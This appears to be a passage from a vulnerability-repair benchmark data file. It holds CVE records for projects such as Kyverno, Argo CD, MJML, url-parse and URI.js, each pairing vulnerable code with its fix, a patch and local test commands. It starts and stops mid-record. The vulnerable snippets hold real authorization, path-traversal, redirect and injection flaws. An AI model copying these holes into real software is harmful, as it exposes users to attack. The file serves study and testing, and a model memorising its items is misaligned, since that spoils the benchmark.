+ TOKEN + \"):\" + OWS + \"(?P<value>\" + FIELD_VALUE + \")\" + OWS + \"$\"\n+    )\n+)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-16789:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/waitress\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2019-16789/bin/python -m pytest waitress/tests/test_parser.py -k \"test_parse_header_invalid_whitespace_vtab or test_parse_header_invalid_no_colon or test_parse_header_invalid_folding_spacing or test_parse_header_invalid_chars or test_parse_header_empty or test_parse_header_multiple_values or test_parse_header_multiple_values_header_folded or test_parse_header_multiple_values_header_folded_multiple\" --disable-warnings -v\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-16789:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/waitress\ngit apply --whitespace=nowarn /workspace/test.patch\n/workspace/PoC_env/CVE-2019-16789/bin/python -m pytest waitress/tests/test_parser.py -k \"not test_parse_header_invalid_chars and not test_parse_header_invalid_folding_spacing and not test_parse_header_invalid_no_colon and not test_parse_header_invalid_whitespace and not test_parse_header_invalid_whitespace_vtab\" --disable-warnings\n"}
{"cve_id": "CVE-2025-29778", "cve_description": "Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/kyverno/kyverno", "patch_url": ["https://github.com/kyverno/kyverno/commit/8777672"], "programing_language": "Go", "vul_func": [{"id": "vul_go_44_1", "commit": "5f42a0b", "file_path": "pkg/cosign/cosign.go", "start_line": 536, "end_line": 566, "snippet": "func matchSignatures(signatures []oci.Signature, subject, subjectRegExp, issuer, issuerRegExp string, extensions map[string]string) error {\n\tif subject == \"\" && issuer == \"\" && len(extensions) == 0 {\n\t\treturn nil\n\t}\n\n\tvar errs []error\n\tfor _, sig := range signatures {\n\t\tcert, err := sig.Cert()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to read certificate: %w\", err)\n\t\t}\n\n\t\tif cert == nil {\n\t\t\treturn fmt.Errorf(\"certificate not found\")\n\t\t}\n\n\t\tif err := matchCertificateData(cert, subject, subjectRegExp, issuer, issuerRegExp, extensions); err != nil {\n\t\t\terrs = append(errs, err)\n\t\t} else {\n\t\t\t// only one signature certificate needs to match the required subject, issuer, and extensions\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif len(errs) > 0 {\n\t\terr := multierr.Combine(errs...)\n\t\treturn err\n\t}\n\n\treturn fmt.Errorf(\"invalid signature\")\n}"}], "fix_func": [{"id": "fix_go_44_1", "commit": "8777672", "file_path": "pkg/cosign/cosign.go", "start_line": 536, "end_line": 539, "snippet": "func matchSignatures(signatures []oci.Signature, subject, subjectRegExp, issuer, issuerRegExp string, extensions map[string]string) error {\n\tif subject == \"\" && issuer == \"\" && subjectRegExp == \"\" && issuerRegExp == \"\" && len(extensions) == 0 {\n\t\treturn nil\n\t}"}], "vul_patch": "--- a/pkg/cosign/cosign.go\n+++ b/pkg/cosign/cosign.go\n@@ -1,31 +1,4 @@\n func matchSignatures(signatures []oci.Signature, subject, subjectRegExp, issuer, issuerRegExp string, extensions map[string]string) error {\n-\tif subject == \"\" && issuer == \"\" && len(extensions) == 0 {\n+\tif subject == \"\" && issuer == \"\" && subjectRegExp == \"\" && issuerRegExp == \"\" && len(extensions) == 0 {\n \t\treturn nil\n \t}\n-\n-\tvar errs []error\n-\tfor _, sig := range signatures {\n-\t\tcert, err := sig.Cert()\n-\t\tif err != nil {\n-\t\t\treturn fmt.Errorf(\"failed to read certificate: %w\", err)\n-\t\t}\n-\n-\t\tif cert == nil {\n-\t\t\treturn fmt.Errorf(\"certificate not found\")\n-\t\t}\n-\n-\t\tif err := matchCertificateData(cert, subject, subjectRegExp, issuer, issuerRegExp, extensions); err != nil {\n-\t\t\terrs = append(errs, err)\n-\t\t} else {\n-\t\t\t// only one signature certificate needs to match the required subject, issuer, and extensions\n-\t\t\treturn nil\n-\t\t}\n-\t}\n-\n-\tif len(errs) > 0 {\n-\t\terr := multierr.Combine(errs...)\n-\t\treturn err\n-\t}\n-\n-\treturn fmt.Errorf(\"invalid signature\")\n-}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-29778:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/kyverno\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestCosignMatchSignatures_OnlyRegexpTriggersValidation$ github.com/kyverno/kyverno/pkg/cosign\n", "unit_test_cmd": null}
{"cve_id": "CVE-2020-12827", "cve_description": "MJML prior to 4.6.3 contains a path traversal vulnerability when processing the mj-include directive within an MJML document.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mjmlio/mjml", "patch_url": ["https://github.com/mjmlio/mjml/commit/30e29ed2cdaec8684d60a6d12ea07b611c765a12"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_295_1", "commit": "21034a7187f2bda4b0d66e7a1c63314c88dce71a", "file_path": "packages/mjml-core/src/index.js", "start_line": 71, "end_line": 96, "snippet": "  const {\n    beautify = false,\n    fonts = {\n      'Open Sans':\n        'https://fonts.googleapis.com/css?family=Open+Sans:300,400,500,700',\n      'Droid Sans':\n        'https://fonts.googleapis.com/css?family=Droid+Sans:300,400,500,700',\n      Lato: 'https://fonts.googleapis.com/css?family=Lato:300,400,500,700',\n      Roboto: 'https://fonts.googleapis.com/css?family=Roboto:300,400,500,700',\n      Ubuntu: 'https://fonts.googleapis.com/css?family=Ubuntu:300,400,500,700',\n    },\n    keepComments,\n    minify = false,\n    minifyOptions = {},\n    juiceOptions = {},\n    juicePreserveTags = null,\n    skeleton = defaultSkeleton,\n    validationLevel = 'soft',\n    filePath = '.',\n    actualPath = '.',\n    noMigrateWarn = false,\n    preprocessors,\n  } = {\n    ...mjmlConfigOptions,\n    ...options,\n  }"}, {"id": "vul_js_295_2", "commit": "21034a7187f2bda4b0d66e7a1c63314c88dce71a", "file_path": "packages/mjml-core/src/index.js", "start_line": 98, "end_line": 106, "snippet": "  if (typeof mjml === 'string') {\n    mjml = MJMLParser(mjml, {\n      keepComments,\n      components,\n      filePath,\n      actualPath,\n      preprocessors,\n    })\n  }"}], "fix_func": [{"id": "fix_js_295_1", "commit": "30e29ed2cdaec8684d60a6d12ea07b611c765a12", "file_path": "packages/mjml-core/src/index.js", "start_line": 71, "end_line": 97, "snippet": "  const {\n    beautify = false,\n    fonts = {\n      'Open Sans':\n        'https://fonts.googleapis.com/css?family=Open+Sans:300,400,500,700',\n      'Droid Sans':\n        'https://fonts.googleapis.com/css?family=Droid+Sans:300,400,500,700',\n      Lato: 'https://fonts.googleapis.com/css?family=Lato:300,400,500,700',\n      Roboto: 'https://fonts.googleapis.com/css?family=Roboto:300,400,500,700',\n      Ubuntu: 'https://fonts.googleapis.com/css?family=Ubuntu:300,400,500,700',\n    },\n    keepComments,\n    minify = false,\n    minifyOptions = {},\n    ignoreIncludes = false,\n    juiceOptions = {},\n    juicePreserveTags = null,\n    skeleton = defaultSkeleton,\n    validationLevel = 'soft',\n    filePath = '.',\n    actualPath = '.',\n    noMigrateWarn = false,\n    preprocessors,\n  } = {\n    ...mjmlConfigOptions,\n    ...options,\n  }"}, {"id": "fix_js_295_2", "commit": "30e29ed2cdaec8684d60a6d12ea07b611c765a12", "file_path": "packages/mjml-core/src/index.js", "start_line": 99, "end_line": 108, "snippet": "  if (typeof mjml === 'string') {\n    mjml = MJMLParser(mjml, {\n      keepComments,\n      components,\n      filePath,\n      actualPath,\n      preprocessors,\n      ignoreIncludes,\n    })\n  }"}], "vul_patch": "--- a/packages/mjml-core/src/index.js\n+++ b/packages/mjml-core/src/index.js\n@@ -12,6 +12,7 @@\n     keepComments,\n     minify = false,\n     minifyOptions = {},\n+    ignoreIncludes = false,\n     juiceOptions = {},\n     juicePreserveTags = null,\n     skeleton = defaultSkeleton,\n\n--- a/packages/mjml-core/src/index.js\n+++ b/packages/mjml-core/src/index.js\n@@ -5,5 +5,6 @@\n       filePath,\n       actualPath,\n       preprocessors,\n+      ignoreIncludes,\n     })\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0691", "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.9.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/unshiftio/url-parse", "patch_url": ["https://github.com/unshiftio/url-parse/commit/0e3fb542d60ddbf6933f22eb9b1e06e25eaa5b63"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_6_1", "commit": "61864a8", "file_path": "index.js", "start_line": 3, "end_line": 9, "snippet": "var required = require('requires-port')\n  , qs = require('querystringify')\n  , CRHTLF = /[\\n\\r\\t]/g\n  , slashes = /^[A-Za-z][A-Za-z0-9+-.]*:\\/\\//\n  , protocolre = /^([a-z][a-z0-9.+-]*:)?(\\/\\/)?([\\\\/]+)?([\\S\\s]*)/i\n  , windowsDriveLetter = /^[a-zA-Z]:/\n  , whitespace = /^[ \\f\\n\\r\\t\\v\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]+/;"}], "fix_func": [{"id": "fix_js_6_1", "commit": "0e3fb54", "file_path": "index.js", "start_line": 3, "end_line": 9, "snippet": "var required = require('requires-port')\n  , qs = require('querystringify')\n  , CRHTLF = /[\\n\\r\\t]/g\n  , slashes = /^[A-Za-z][A-Za-z0-9+-.]*:\\/\\//\n  , protocolre = /^([a-z][a-z0-9.+-]*:)?(\\/\\/)?([\\\\/]+)?([\\S\\s]*)/i\n  , windowsDriveLetter = /^[a-zA-Z]:/\n  , whitespace = /^[\\x00-\\x20\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]+/;"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -4,4 +4,4 @@\n   , slashes = /^[A-Za-z][A-Za-z0-9+-.]*:\\/\\//\n   , protocolre = /^([a-z][a-z0-9.+-]*:)?(\\/\\/)?([\\\\/]+)?([\\S\\s]*)/i\n   , windowsDriveLetter = /^[a-zA-Z]:/\n-  , whitespace = /^[ \\f\\n\\r\\t\\v\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]+/;\n+  , whitespace = /^[\\x00-\\x20\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]+/;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0691:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha --grep \"removes control characters on the left\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0691:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha test/test.js"}
{"cve_id": "CVE-2021-3647", "cve_description": "URI.js is vulnerable to URL Redirection to Untrusted Site", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/medialize/URI.js", "patch_url": ["https://github.com/medialize/URI.js/commit/ac43ca8f80c042f0256fb551ea5203863dec4481"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_219_1", "commit": "622db6d", "file_path": "src/URI.js", "start_line": 490, "end_line": 539, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }"}], "fix_func": [{"id": "fix_js_219_1", "commit": "ac43ca8f80c042f0256fb551ea5203863dec4481", "file_path": "src/URI.js", "start_line": 490, "end_line": 542, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/, '$1://');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }"}], "vul_patch": "--- a/src/URI.js\n+++ b/src/URI.js\n@@ -22,6 +22,9 @@\n       parts.query = string.substring(pos + 1) || null;\n       string = string.substring(0, pos);\n     }\n+\n+    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n+    string = string.replace(/^(https?|ftp|wss?)?:[/\\\\]*/, '$1://');\n \n     // extract protocol\n     if (string.substring(0, 2) === '//') {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-50726", "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. \"Local sync\" is an Argo CD feature that allows developers to temporarily override an Application's manifests with locally-defined manifests. Use of the feature should generally be limited to highly-trusted users, since it allows the user to bypass any merge protections in git. An improper validation bug allows users who have `create` privileges but not `override` privileges to sync local manifests on app creation. All other restrictions, including AppProject restrictions are still enforced. The only restriction which is not enforced is that the manifests come from some approved git/Helm/OCI source. The bug was introduced in 1.2.0-rc1 when the local manifest sync feature was added. The bug has been patched in Argo CD versions 2.10.3, 2.9.8, and 2.8.12. Users are advised to upgrade. Users unable to upgrade may mitigate the risk of branch protection bypass by removing `applications, create` RBAC access. The only way to eliminate the issue without removing RBAC access is to upgrade to a patched version.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/3b8f673f06c2d228e01cbc830e5cb57cef008978"], "programing_language": "Go", "vul_func": [{"id": "vul_go_8_1", "commit": "479b554", "file_path": "server/application/application.go", "start_line": 308, "end_line": 370, "snippet": "func (s *Server) Create(ctx context.Context, q *application.ApplicationCreateRequest) (*appv1.Application, error) {\n\tif q.GetApplication() == nil {\n\t\treturn nil, fmt.Errorf(\"error creating application: application is nil in request\")\n\t}\n\ta := q.GetApplication()\n\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionCreate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.projectLock.RLock(a.Spec.GetProject())\n\tdefer s.projectLock.RUnlock(a.Spec.GetProject())\n\n\tvalidate := true\n\tif q.Validate != nil {\n\t\tvalidate = *q.Validate\n\t}\n\terr := s.validateAndNormalizeApp(ctx, a, validate)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while validating and normalizing app: %w\", err)\n\t}\n\n\tappNs := s.appNamespaceOrDefault(a.Namespace)\n\n\tif !s.isNamespaceEnabled(appNs) {\n\t\treturn nil, security.NamespaceNotPermittedError(appNs)\n\t}\n\n\tcreated, err := s.appclientset.ArgoprojV1alpha1().Applications(appNs).Create(ctx, a, metav1.CreateOptions{})\n\tif err == nil {\n\t\ts.logAppEvent(created, ctx, argo.EventReasonResourceCreated, \"created application\")\n\t\ts.waitSync(created)\n\t\treturn created, nil\n\t}\n\tif !apierr.IsAlreadyExists(err) {\n\t\treturn nil, fmt.Errorf(\"error creating application: %w\", err)\n\t}\n\n\t// act idempotent if existing spec matches new spec\n\texisting, err := s.appLister.Applications(appNs).Get(a.Name)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"unable to check existing application details (%s): %v\", appNs, err)\n\t}\n\tequalSpecs := reflect.DeepEqual(existing.Spec, a.Spec) &&\n\t\treflect.DeepEqual(existing.Labels, a.Labels) &&\n\t\treflect.DeepEqual(existing.Annotations, a.Annotations) &&\n\t\treflect.DeepEqual(existing.Finalizers, a.Finalizers)\n\n\tif equalSpecs {\n\t\treturn existing, nil\n\t}\n\tif q.Upsert == nil || !*q.Upsert {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"existing application spec is different, use upsert flag to force update\")\n\t}\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionUpdate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\tupdated, err := s.updateApp(existing, a, ctx, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error updating application: %w\", err)\n\t}\n\treturn updated, nil\n}"}], "fix_func": [{"id": "fix_go_8_1", "commit": "3b8f673f06c2d228e01cbc830e5cb57cef008978", "file_path": "server/application/application.go", "start_line": 308, "end_line": 379, "snippet": "func (s *Server) Create(ctx context.Context, q *application.ApplicationCreateRequest) (*appv1.Application, error) {\n\tif q.GetApplication() == nil {\n\t\treturn nil, fmt.Errorf(\"error creating application: application is nil in request\")\n\t}\n\ta := q.GetApplication()\n\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionCreate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.projectLock.RLock(a.Spec.GetProject())\n\tdefer s.projectLock.RUnlock(a.Spec.GetProject())\n\n\tvalidate := true\n\tif q.Validate != nil {\n\t\tvalidate = *q.Validate\n\t}\n\terr := s.validateAndNormalizeApp(ctx, a, validate)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while validating and normalizing app: %w\", err)\n\t}\n\n\tappNs := s.appNamespaceOrDefault(a.Namespace)\n\n\tif !s.isNamespaceEnabled(appNs) {\n\t\treturn nil, security.NamespaceNotPermittedError(appNs)\n\t}\n\n\t// Don't let the app creator set the operation explicitly. Those requests should always go through the Sync API.\n\tif a.Operation != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"application\":            a.Name,\n\t\t\targocommon.SecurityField: argocommon.SecurityLow,\n\t\t}).Warn(\"User attempted to set operation on application creation. This could have allowed them to bypass branch protection rules by setting manifests directly. Ignoring the set operation.\")\n\t\ta.Operation = nil\n\t}\n\n\tcreated, err := s.appclientset.ArgoprojV1alpha1().Applications(appNs).Create(ctx, a, metav1.CreateOptions{})\n\tif err == nil {\n\t\ts.logAppEvent(created, ctx, argo.EventReasonResourceCreated, \"created application\")\n\t\ts.waitSync(created)\n\t\treturn created, nil\n\t}\n\tif !apierr.IsAlreadyExists(err) {\n\t\treturn nil, fmt.Errorf(\"error creating application: %w\", err)\n\t}\n\n\t// act idempotent if existing spec matches new spec\n\texisting, err := s.appLister.Applications(appNs).Get(a.Name)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"unable to check existing application details (%s): %v\", appNs, err)\n\t}\n\tequalSpecs := reflect.DeepEqual(existing.Spec, a.Spec) &&\n\t\treflect.DeepEqual(existing.Labels, a.Labels) &&\n\t\treflect.DeepEqual(existing.Annotations, a.Annotations) &&\n\t\treflect.DeepEqual(existing.Finalizers, a.Finalizers)\n\n\tif equalSpecs {\n\t\treturn existing, nil\n\t}\n\tif q.Upsert == nil || !*q.Upsert {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"existing application spec is different, use upsert flag to force update\")\n\t}\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceApplications, rbacpolicy.ActionUpdate, a.RBACName(s.ns)); err != nil {\n\t\treturn nil, err\n\t}\n\tupdated, err := s.updateApp(existing, a, ctx, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error updating application: %w\", err)\n\t}\n\treturn updated, nil\n}"}], "vul_patch": "--- a/server/application/application.go\n+++ b/server/application/application.go\n@@ -24,6 +24,15 @@\n \n \tif !s.isNamespaceEnabled(appNs) {\n \t\treturn nil, security.NamespaceNotPermittedError(appNs)\n+\t}\n+\n+\t// Don't let the app creator set the operation explicitly. Those requests should always go through the Sync API.\n+\tif a.Operation != nil {\n+\t\tlog.WithFields(log.Fields{\n+\t\t\t\"application\":            a.Name,\n+\t\t\targocommon.SecurityField: argocommon.SecurityLow,\n+\t\t}).Warn(\"User attempted to set operation on application creation. This could have allowed them to bypass branch protection rules by setting manifests directly. Ignoring the set operation.\")\n+\t\ta.Operation = nil\n \t}\n \n \tcreated, err := s.appclientset.ArgoprojV1alpha1().Applications(appNs).Create(ctx, a, metav1.CreateOptions{})\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-50726:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestCreateAppWithOperation$ github.com/argoproj/argo-cd/v2/server/application\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-50726:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 60s -run '^(TestGetCachedAppState|TestCoupleAppsListApps|TestLogsGetSelectedPod|TestServer_GetApplicationSyncWindowsState|TestListAppWithProjects|TestSplitStatusPatch|TestListAppsInDefaultNSWithLabels|TestInferResourcesStatusHealth|TestSyncHelm|TestUpdateAppSpec|TestCreateApp|TestDeleteApp|TestRunNewStyleResourceAction|TestUpdateApp|TestRollbackApp|TestSyncGit|TestAppMergePatch|TestListApps|TestAppNamespaceRestrictions|TestIsApplicationPermitted|TestGetAppRefresh_HardRefresh|TestRunOldStyleResourceAction|TestSyncAndTerminate|TestUpdateAppProject|TestCreateAppWithDestName|TestAppJsonPatch|TestListAppsInNamespaceWithLabels|TestGetAppRefresh_NormalRefresh|TestNoAppEnumeration)$' github.com/argoproj/argo-cd/v2/server/application"}
{"cve_id": "CVE-2022-23603", "cve_description": "iTunesRPC-Remastered is a discord rich presence application for use with iTunes & Apple Music. In code before commit 24f43aa user input is not properly sanitized and code injection is possible. Users are advised to upgrade as soon as is possible. There are no known workarounds for this issue.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/bildsben/iTunesRPC-Remastered", "patch_url": ["https://github.com/bildsben/iTunesRPC-Remastered/commit/24f43aac0f4116b3d89fdbe973ba92c6cfb0d998"], "programing_language": "Python", "vul_func": [{"id": "vul_py_313_1", "commit": "54b02d9", "file_path": "upload/server.py", "start_line": "1", "end_line": "8", "snippet": "import io                 \nimport base64                  \nimport logging\nimport random\nimport ast\nfrom PIL import Image\n\nfrom flask import Flask, request, jsonify, abort"}, {"id": "vul_py_313_2", "commit": "54b02d9", "file_path": "upload/server.py", "start_line": "52", "end_line": "123", "snippet": "def uploadimage():\n    #print(request.json)   \n    if not request.json or 'image' not in request.json:\n        print(\"No data sent or no image provided. Aborting with 400.\")\n        abort(400)\n             \n    im_b64 = request.json['image']\n    img_bytes = base64.b64decode(im_b64.encode('utf-8'))\n    img = Image.open(io.BytesIO(img_bytes))\n\n    file_ending = img.format\n    print(f\"File has filetype {file_ending}.\")\n\n    if file_ending == \"JPEG\":\n        file_ending = \".jpg\"\n    else:\n        file_ending = \".png\"\n\n    one_hundred_million = 100000000\n    lots_of_nine = 999999999\n\n    file_name = None\n\n    f = open(\"all_files\", \"r\")\n    all_files = ast.literal_eval(f.read())\n    f.close()\n\n    attempt = 0\n\n    while file_name == None or file_name in all_files:\n        if attempt <= 1000:\n            file_name = random.randint(one_hundred_million, lots_of_nine)\n\n            file_name = base64.b64encode(str(file_name).encode(\"utf-8\")).decode(\"utf-8\")\n\n            print(f\"Trying new file name: {file_name}\")\n        else:\n            attempt = 0\n            one_hundred_million += 100000\n            lots_of_nine += 1000000\n\n            while one_hundred_million >= lots_of_nine:\n                one_hundred_million -= 10000\n\n            one_hundred_million -= 10000\n\n    print(f\"Successful file name: {file_name}\")\n\n    title = request.json[\"title\"]\n    print(\"First 9 chars of title: \"+str(title[:9]))\n    print(\"Title from 10th char: \"+str(title[9::]))\n    if title[:9] == \"[PAUSED] \":\n        title = title[9::]\n\n    singer = request.json[\"singer\"]\n    album = request.json[\"album\"]\n    \n    file_db_entry = [{\"title\": title, \"singer\": singer, \"album\": album}, file_name, file_ending]\n    print(f\"New db entry: {file_db_entry}\")\n\n    all_files.append(file_db_entry)\n\n    f = open(\"all_files\", \"w\")\n    f.write(str(all_files))\n    f.close()\n\n    file_name = file_name + file_ending\n\n    image = img.save(file_name)\n    print(f\"Saved {file_name} from {file_db_entry}.\")\n    print(f\"Returning {file_db_entry}.\")\n    return {\"entry\": file_db_entry}"}, {"id": "vul_py_313_3", "commit": "54b02d9", "file_path": "module/connect_to_server.py", "start_line": "19", "end_line": "48", "snippet": "def get(image_file, domain, title, singer, album):\n    import base64\n    import json    \n    import ast               \n\n    import requests\n\n    api = f'http://{domain}:7873/bGVhdmVfcmlnaHRfbm93'\n\n    with open(image_file, \"rb\") as f:\n        im_bytes = f.read()        \n    im_b64 = base64.b64encode(im_bytes).decode(\"utf8\")\n\n    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n\n    status = try_get_cached(domain, {\"title\": title, \"singer\": singer, \"album\": album})\n    status = ast.literal_eval(str(status))\n\n    if status == None:\n        print(\"Cached version not found. Uploading image with song metadata.\")\n        payload = json.dumps({\"image\": im_b64, \"title\": title, \"singer\": singer, \"album\": album})\n        response = requests.post(api, data=payload, headers=headers)\n\n        data = response.text[\"data\"]\n    else:\n        data = status\n\n    # data = [{\"title\": title, \"singer\": singer, \"album\": album}, file_name, file_ending]\n\n    return data"}], "fix_func": [{"id": "fix_py_313_1", "commit": "24f43aa", "file_path": "upload/server.py", "start_line": "1", "end_line": "9", "snippet": "import io                 \nimport base64                  \nimport logging\nimport random\nimport ast\nfrom PIL import Image\n\nfrom flask import 